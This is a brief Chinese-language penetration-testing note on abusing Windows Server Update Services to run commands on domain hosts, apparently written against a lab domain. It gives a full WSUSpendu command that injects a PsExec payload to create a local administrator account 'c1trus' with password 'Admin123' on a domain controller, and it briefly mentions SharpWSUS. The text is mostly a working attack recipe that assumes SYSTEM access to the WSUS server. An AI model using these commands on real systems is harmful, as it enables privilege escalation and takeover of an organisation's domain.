WSUS

Windows Server Update Services (WSUS) 是一款 Windows 应用程序,它允许WSUS服务器下发本地 Windows 更新到域内的主机上。管理员可以在更新中附加任意的powershell命令,以实现任务自动化。

1. 利用

1.1. 使用 WSUSpendu.ps1

首先需要获取到一个域内的 WSUS服务器的控制(system)权限

git clone https://github.com/tenable/WSUSpendu

.\WSUSpendu.ps1 -Inject -PayloadFile C:\windows\temp\PsExec.exe  -PayloadArgs '-accepteula -s -d cmd.exe /c "net user c1trus Admin123 /add && net localgroup administrators c1trus /add"' -ComputerName dc.tea.vl

等待1分钟后,会在域控机器上创建一个本地的管理员用户 c1trus 密码 Admin123

1.2. 使用 sharpwsus.exe

这个不好用

.\SharpWSUS.exe inspect #确认WSUS服务器